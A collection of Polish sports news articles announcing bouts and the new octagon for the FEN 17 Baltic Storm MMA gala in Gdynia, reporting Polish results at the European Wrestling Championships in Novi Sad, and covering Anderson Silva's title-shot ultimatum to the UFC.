Bilety na galę FEN 17 można kupować w serwisach Eventim.pl oraz KupBilet.pl. Zamówienia na bilety grupowe i bilety VIP przyjmowane są pod numerem telefonu 601 877 229.

FEN

Patryk Nowak rywalem Piotra Hallmanna na FEN 17 Baltic Storm

Federacja Fight Exclusive Night zdradziła nazwisko przeciwnika Piotra „Płetwala” Hallmanna na gali FEN 17 Baltic Storm. Z byłym zawodnikiem UFC zmierzy się utalentowany Patryk Nowak, który 12 maja w Gdynia Arena powalczy o piąte zawodowe zwycięstwo z rzędu.

Dla polskich kibiców nazwisko Patryka Nowaka (28 lat, 175 cm, 4-0, 2 SUB, 1 KO) może brzmieć enigmatycznie, za to dobrze znane jest już w Szwajcarii, gdzie pochodzący z Namysłowa zawodnik do niedawna mieszkał, trenował i walczył. Przez dwa lata do zawodowych walk szykował się pod okiem cenionego trenera Robsona Dantasa w filii słynnego brazylijskiego klubu Kimura Nova Uniao w Renens u podnóża Alp. Debiutował rok temu na gali Fight Night Series, wygrywając przez decyzję z doświadczonym Anthonym Mullerem. To jego jedyne zwycięstwo na punkty – w kolejnych trzech walkach dla szwajcarskich organizacji FNS oraz Hit FC kończył już swoich rywali przed czasem.

Nowak uchodzi za utalentowanego grapplera – wywodzi się z zapasów, jako junior i kadet był wielokrotnym mistrzem Polski i występował na mistrzostwach Europy. Później startował w amatorskich zawodach MMA, ma na koncie m.in. pasy zdobywane na turniejach ALMMA oraz zawodach w Niemczech. Jak zapewnia, po powrocie do Polski jest gotowy na znacznie poważniejsze wyzwania, więc propozycję walki z „Płetwalem” na gali FEN 17 Baltic Storm przyjął bez wahania.

Piotr Hallmann (29 lat, 175 cm, 16-6, 7 KO, 7 SUB) to niezaprzeczalnie jeden z najlepszych fighterów MMA w kraju i jeden z pierwszych Polaków, którzy podpisali kontrakt z UFC. Ma za sobą 6 walk w oktagonie tej federacji, za które trzykrotnie był nagradzany bonusami (walka wieczoru, występ wieczoru i poddanie wieczoru). Na angaż w UFC „Płetwal” zapracował 13 zwycięstwami w 14 walkach, z których większość odniósł przez nokaut lub poddanie.

Po powrocie do Polski w styczniu 2016 roku zawodnik Mighty Bulls Gdynia walczył dwa razy – na gali Slava Republic 1 pokonał Francuza Jasona Poneta, a potem w walce wieczoru gali FEN 13 Summer Edition przegrał na punkty z Kamilem Łebkowskim. Był to dla niego wyjątkowy pojedynek, bo po raz pierwszy i jak do tej pory jedyny walczył w kategorii piórkowej. Po tym nieudanym występie gdynianin zdecydował się wrócić do „swojej” wagi lekkiej i w niej stoczy kolejną walkę na gali FEN 17 Baltic Storm.

Oprócz tego emocjonująco zapowiadającego się pojedynku kibice 12 maja obejrzą także walki MMA z udziałem m.in. Kamila Łebkowskiego, Ireneusza Szydłowskiego oraz starcia Michała Wlazło z Czechem Martinem Chudejem, Michała Oleksiejczuka z Włochem Riccardo Nosiglią i Jakuba Kowalewicza z Aleksandrem Georgasem. Ponadto w formule K-1 w Gdynia Arena walczyć będą tego wieczora tacy znakomici zawodnicy, jak Radosław Paczuski, Jarosław Daschke, Marcin Szreder, Artur Bizewski i Kryspin Kalski. Pełny fight card gali na oficjalnej stronie FEN.

Bilety na galę FEN 17 można kupować w serwisach Eventim.pl oraz KupBilet.pl. Zamówienia na bilety grupowe i bilety VIP przyjmowane są pod numerem telefonu 601 877 229.

FEN

Machado rywalem Łebkowskiego na gali FEN 17 Baltic Storm

Gwiazda polskiego MMA Kamil "Bomba" Łebkowski poznał swojego przeciwnika na gali FEN 17 Baltic Storm. 12 maja w walce wieczoru imprezy w Gdynia Arena jego przeciwnikiem będzie wielki prospekt brazylijskiego MMA – Caio Machado.

Caio Machado (10-3, 3 KO, 4 SUB) to jeden z największych brazylijskich prospektów, w zgodnej opinii fachowców mocny kandydat do angażu w UFC. 23-letni, wszechstronnie wyszkolony fighter z Olindy, który jako nastolatek wbrew woli matki trenował boks, muay thai i ju-jitsu, szybko zwrócił na siebie uwagę skautów wyszukujących młode talenty MMA, zarzucił pomysł studiowania geografii i całkowicie poświęcił się treningom w tej formule. W pierwszych dwóch latach zawodowej kariery stoczył 6 walk w Brazylii i amerykańskiej organizacji Legacy Fighting Championship, wygrywając wszystkie z nich, w tym cztery przed czasem. Dzięki tej zwycięskiej serii w 2014 roku stanął do walki z Thomasem Almeidą o pas mistrza LFC w kategorii koguciej. Walczący z kontuzją żeber Machado w starciu z przyszłym zawodnikiem UFC doznał pierwszej porażki w karierze, ale w następnych 6 występach ambitny Brazylijczyk dopisał do swego rekordu m.in. 4 kolejne zwycięstwa z rzędu. Dwa miesiące temu w ostatniej walce na gali LFA 3 w USA przegrał na punkty z Amerykaninem Trentem Meaux, więc na gali FEN 17 Baltic Storm w pojedynku z Kamilem „Bombą” Łebkowskim powalczy o powrót na zwycięską ścieżkę.

Taki sam cel przyświecał będzie także reprezentantowi Dziki Wschód Biała Podlaska, który podczas marcowej gali FEN 16 Warsaw Reloaded dość niespodziewanie uległ na punkty innemu Brazylijczykowi, Gabrielowi „Gabito” Silvie. Kamil Łebkowski (15-5, 8 KO, 2 SUB) przed tym pojedynkiem miał na koncie imponującą serię 10 zwycięstw z rzędu, na którą złożyły się m.in. walki z takimi świetnymi przeciwnikami, jak Japończyk Yoshihiro Koyama, którego znokautował na gali WSOF Global Championship 2 w Tokio, były fighter UFC Piotr Hallmann, którego wypunktował na gali FEN 13 Summer Edition, a także doświadczony Anglik Ashleigh Grimshaw, powalony na deski na gali PFN 27 w Bournemouth. Przegrana walka z bratem słynnego Ericka Silvy oddaliła „Bombę” od wymarzonego debiutu w UFC, ale najlepszy piórkowy polskiego MMA z całą pewnością ma papiery na to, by w przyszłości stać się zawodnikiem amerykańskiego giganta. Czy krok w tym kierunku uczyni na gali FEN 17 Baltic Arena w pojedynku z Caio Machado? Przekonamy się o tym już 12 maja w Gdynia Arena.

W innych walkach na zasadach MMA na gali FEN 17 Baltic Storm zmierzą się m.in. Piotr Hallmann z Patrykiem Nowakiem, Michał Wlazło z Czechem Martinem Chudejem, Michał Oleksiejczuk z Włochem Riccardo Nosiglią oraz Jakub Kowalewicz z Aleksandrem Georgasem. Ponadto w formule K-1 w Gdynia Arena walczyć będą tego wieczora tacy znakomici zawodnicy, jak Radosław Paczuski, Jarosław Daschke, Marcin Szreder, Artur Bizewski i Kryspin Kalski. Pełny fight card gali na oficjalnej stronie FEN.

Bilety na galę FEN 17 można kupować w serwisach Eventim.pl oraz KupBilet.pl. Zamówienia na bilety grupowe i bilety VIP przyjmowane są pod numerem telefonu 601 877 229.

FEN

Oktagon zamiast klatkoringu już na FEN Baltic Storm!

Na gali FEN 17 Baltic Storm po raz pierwszy w historii organizacji Fight Exclusive Night zawodnicy walczyć będą w oktagonie. To rewolucyjna wręcz zmiana, bo podczas wszystkich poprzednich edycji uczestniczący w nich fighterzy MMA i K-1 rywalizowali w przygotowanym specjalnie dla FEN klatkoringu.

„Zastąpienie klatkoringu oktagonem służy przede wszystkim zwiększeniu atrakcyjności naszych gal – mówi prezes FEN Paweł Jóźwiak. – Z tej zmiany na pewno będą zadowoleni zawodnicy MMA, mniej korzystna jest natomiast dla kickbokserów, ale to oni podczas wszystkich wcześniejszych gal byli w uprzywilejowanej pozycji”.

Do wprowadzenia oktagonu w miejsce klatkoringu federacja FEN przygotowywała się od kilku miesięcy. „Zastąpienie częściowo otwartej areny walki, jaką jest klatkoring, zamkniętą przestrzenią oktagonu, to zmiana ważna nie tylko dla zawodników, ale również dla niemal wszystkich ekip pracujących przy organizacji gali – dodaje Paweł Jóźwiak. – Dlatego właśnie nie spieszyliśmy się z tą decyzją – chcieliśmy być pewni, że nasza federacja jest na tę kluczową zmianę w stu procentach przygotowana”.

Oktagon, który pojawi się 12 maja w hali Gdynia Arena, pod względem wymiarów i innych parametrów będzie bardzo podobny do tego, w którym walczą zawodnicy organizacji UFC. Nie wiadomo jeszcze, czy ośmiokątna klatka na stałe zastąpi klatkoring. „Po premierze oktagonu na gali FEN 17 Baltic Storm dokładnie przeanalizujemy wszystkie argumenty za i przeciw takiemu rozwiązaniu” – wyjaśnia prezes FEN.

Podczas gali FEN 17 Baltic Storm w oktagonie stoczonych zostanie 13 walk. W pojedynkach na zasadach MMA wystąpią m.in. Kamil Łebkowski, Piotr Hallmann, Michał Wlazło, Michał Oleksiejczuk, Aleksander Rychlik, Aleksander Georgas i Ireneusz Szydłowski, natomiast na zasadach K-1 walczyć będą m.in. Radosław Paczuski, Jarosław Daschke, Alan Kwieciński, Marcin Szreder, Artur Bizewski i Kryspin Kalski. Pełny fight card gali na oficjalnej stronie FEN.

Bilety na galę FEN 17 można kupować w serwisach Eventim.pl oraz KupBilet.pl. Zamówienia na bilety grupowe i bilety VIP przyjmowane są pod numerem telefonu 601 877 229.

FEN

FEN 17 Baltic Storm: official trailer

Michał Wlazło, Kamil Łebkowski, Radosław Paczuski, Marcin Szreder, Jarosław Daschke, Ireneusz Szydłowski i reszta wojowników Fight Exclusive Night już gotowa do walki na FEN 17 Baltic Storm! Zobaczcie oficjalny trailer gali, która już 12 maja w Gdynia Arena!

Bilety do kupienia na Eventim.pl (http://goo.gl/j0EA4n) i KupBilet.pl (http://goo.gl/i6vKYs). Bilety VIP i grupowe – tel. 601 877 229.

[kod]

Zasina poza podium

W drugim dniu mistrzostw Europy w zapasach, które odbywają się w Nowym Sadzie Polacy nie powiększyli dorobku medalowego. Najwyżej uplasowała się, siódme miejsce, Roksana Zasina (53kg).

Mistrzostwa Europy rozpoczęły się dla nas wręcz idealnie. Pierwszego dnia imprezy złoty medal wywalczyła Monika Michalik (63kg), dla której był to czwarty triumf w europejskim czempionacie. 

Powtórki nie było

Z nadziejami do Nowego Sadu jechała Roksana Zasina, która rok temu w Rydze wywalczyła brązowy medal mistrzostw Europy. Ostatni czas jest niezwykle udany dla zapaśniczki reprezentującej barwy ZTA Zgierz. W 2015 roku Zasina wywalczyła srebrny medal Igrzysk Europejskich w Baku. Lepsza od Polki okazała się tylko Anżela Dorogan. 

W Nowym Sadzie w kategorii 53kg na starcie pojawiło się 12 zawodniczek. Zasina rozpoczęła zmagania w europejskim czempionacie od wygranej przez przewagę techniczną z Emmą Siri Brobek. W ćwierćfinale Polka trafiła na dziesiątą zawodniczkę igrzysk w Rio de Janeiro Marię Prevolaraki. 25-letnia reprezentantka Grecji poradziła sobie z Zasiną i wygrała 3:1. 29-letnia Polka została sklasyfikowana na siódmym miejscu.

Szczęścia nie miała Agnieszka Król (60kg). W Nowym Sadzie Polka stoczyła zaledwie jedną walkę i pożegnała się z rywalizacją. Pogromczynią Król okazała się Tetiana Omelchenko z Azerbejdżanu. Równie krótko trwała przygoda Krzysztofa Bieńkowskiego (65kg) z mistrzostwami Europy. Zapaśnik z Białogardu przegrał z Gitinomagomedowem Gadżijewem.

Czekamy na kolejne medale

Pierwszego dnia imprezy w Nowym Sadzie w szampański nastrój wprawiła nas Monika Michalik (63kg). Doświadczona zapaśniczka wywalczyła czwarty tytuł mistrzyni Europy. Blisko podium byli Anna Łukasiak (48kg) i Zbigniew Baranowski (86kg).

Kolejni zapaśnicy pojawią się na macie już 4 maja. O medale powalczą również Polacy. Daria Osocka (75kg) i Andrzej Sokalski (74kg) odliczają już godziny do swoich startów. W kolejnych dniach w akcji zobaczymy m.in. mistrza Europy z Rygi Magomedmurada Gadzhieva (70kg).

W ubiegłym roku w Rydze biało-czerwoni wywalczyli pięć medali.

Mistrzostwa Europy w Nowym Sadzie potrwają do 7 maja.

KM

Silva stawia ultimatum

Albo tak, albo „do widzenia” zdaje się mówić Anderson Silva do włodarzy UFC. Brazylijski wojownik marzy o pojedynku, którego stawką byłoby tymczasowe mistrzostwo wagi średniej. W innym przypadku, zawodnik grozi zakończeniem kariery.

Jak mawiał Niccolo Machiavelli – „cel uświęca środki”. W drodze do realizacji własnych zamierzeń często jesteśmy gotowi posunąć się daleko. Liczy się tylko satysfakcja, spełnienie i czerpanie przyjemności z osiągniętego rezultatu. 

Czy piękne chwile wrócą?

O Brazylijczyku można powiedzieć wiele. 42-letni Anderson Silva zapracował na miano legendy mieszanych sztuk walki. Przez lata był idolem tłumów. W 2006 roku zdobył pas mistrzowski UFC w wadze średniej pokonując po piekielnie mocnym ciosie kolanem Richa Franklina. W kolejnych dziesięciu starciach udanie bronił swojej zdobyczy. Przeszkodą nie do przejścia dla Silvy okazał się Chris Weidman. Na gali UFC 162, lipiec 2013, Amerykanin pokonał Brazylijczyka w drugiej rundzie. Pół roku później doszło do rewanżu. Morderczą walkę przerwał sędzia, który postanowił oszczędzić Silvę.

Zawodnik z Kraju Kawy zamierzał jeszcze pokazać, że stać go na walki na wysokim poziomie. Nie wszystko układało się po myśli Brazylijczyka. Po walce na UFC 183, styczeń 2015, okazało się, że Silva i jego rywal Nick Diaz stosowali niedozwolone środki. Brazylijczyk został zawieszony na dwanaście miesięcy. Zapewniał jednak, że jest niewinny. Wrócił do rywalizacji w… lutym 2016 roku. Przegrał z Michalem Bispingiem, a później lepszy od Silvy okazał się Daniel Cormier. W międzyczasie 42-latek borykał się z problemami zdrowotnymi, przeszedł operacją w związku z kłopotami z woreczkiem żółciowym.

Niektórzy wieścili, że to koniec wielkiej gwiazdy. Jednak Silva chciał utrzeć nosa niedowiarkom. W lutym br. pokonał Dereka Brunsona. Po raz kolejny Silva zaprezentuje się na gali UFC, która odbędzie się 3 czerwca w Rio de Janeiro. Na własnej ziemi chciałbym stoczyć bój o pas w wadze średniej. Silva przebąkuje, że myśli o zakończeniu kariery. Być może możliwość rywalizacji o pas sprawi, iż jego głowa będzie zaprzątnięta zupełnie innymi sprawami.

Po co Romero przyjedzie do Rio?

Rywalem Andersona Silvy w Rio miał być Kelvin Gastelum, jednak do starcia nie dojdzie. Powód: w organizmie 25-letniego Amerykanina wykryto metabolity marihuany. 42-letni Brazylijczyk bardzo chce zaprezentować się przed własną publicznością. Liczy, że przyjdzie mu rywalizować o pas. Przeciwnikiem byłego mistrza wagi średniej miałby być Yoel Romero. – To świetny zawodnik, numer 1 rankingu. Dlaczego Yoel Romero miałby przyjeżdżać do Brazylii na walkę o nic? –  zastanawia się Silva.

Dla 42-letniego Brazylijczyka rywalizacja w Rio to ostatnia szansa, aby przypomnieć się szerszej publiczności. Były czempion wagi średniej stawia sprawę na ostrzu noża. – Jeśli nie dadzą mi walki o tymczasowy pas to skończę karierę – zaznacza Anderson Silva.

KM

Michalik mistrzynią Europy

Monika Michalik (63kg) sięgnęła po czwarty tytuł mistrzyni Europy w zapasach. W finałowym starciu w Nowym Sadzie 37-letnia Polka pokonała Taybę Mustafę Yusein.

Udanie rozpoczęły się dla biało-czerwonych mistrzostwa Europy w Serbii. W pierwszym dniu zmagań za sprawą Moniki Michalik zdobyliśmy złoty medal. Rywalizacja w Nowym Sadzie potrwa do niedzieli (7 maja).

Kolejny sukces

Monika Michalik to jedna z najbardziej utytułowanych polskich zapaśniczek. W sierpniu ubiegłego roku sprawiła nam ogromną radość podczas Igrzysk Olimpijskich w Rio de Janeiro, gdzie wywalczyła brązowy medal. Michalik trzy razy stawała na najniższym stopniu podium podczas mistrzostw świata. Pierwszy sukces na arenie europejskiej osiągnęła w 2002 roku. W Seinajoki wywalczyła brąz, ale już rok później w Rydze została najlepszą zawodniczką Starego Kontynentu w kategorii 59kg. Kolejne sukcesy świętowała w 63kg.

Co istotne, po raz ostatni na podium mistrzostw Europy zapaśniczka Grunwaldu Poznań stała w 2013 roku. W Tbilisi zdobyła srebro, lepsza była tylko Anastasija Grigorjeva. Upłynęły cztery lata i Polka stanęła na podium. Po raz czwarty Monika Michalik sięgnęła po tytuł mistrzyni Europy. Dla naszej zapaśniczki ten triumf ma wyjątkowy smak, bo została najlepszą zawodniczką Starego Kontynentu w dniu swoich 37. urodzin.

W Nowym Sadzie Michalik wygrała trzy pojedynki. Na początek, w ćwierćfinale, spotkała się z Sarą da Col. Polka okazała się zdecydowanie lepsza od 24-letniej Włoszki i pewnie awansowała do finału, gdzie czekała na nią Laura Skujina. Łotyszka to brązowa medalistka mistrzostw świata z 2014 roku, jednak w starciu z doświadczoną Polką nie miała czego szukać. Michalik zrobiła swoje i awansowała do finału. Tam czekała na nią Taybe Yusein Mustafa, która na swoim koncie miała trzy medale mistrzostw Europy, ale nie udało jej się wywalczyć złota. Michalik nie zamierzała ułatwiać zadania rywalce, choć finałowy pojedynek lepiej rozpoczęła Bułgarka. Wraz z upływem czasu przewagę zyskiwała Polka, która po wyrównanym pojedynku mogła wznieść ręce w geście triumfu.

Podium było blisko

Pierwszego dnia mistrzostw Europy mogliśmy mieć trzy medale, jednak Anna Łukasiak (48kg) i Zbigniew Baranowski (97kg) przegrali rywalizację o podium.

Łukasiak zmagania w Nowym Sadzie rozpoczęła od pojedynku z Marią Stadnik, która pewnie zmierzała w stronę złota i dotarła na szczyt. Z kolei Polka musiała radzić sobie w repasażach, gdzie pokonała Evin Demirhan z Turcji. W starciu o brąz Łukasiak musiała uznać wyższość Emilii Vuc.

O krok od wielkiego sukcesu był Zbigniew Baranowski. Rok temu w Rydze zapaśnik był 15. W Serbii walczył o brąz, jednak w decydującym starciu trafił na wicemistrza z Rio Selima Yasara. 

KM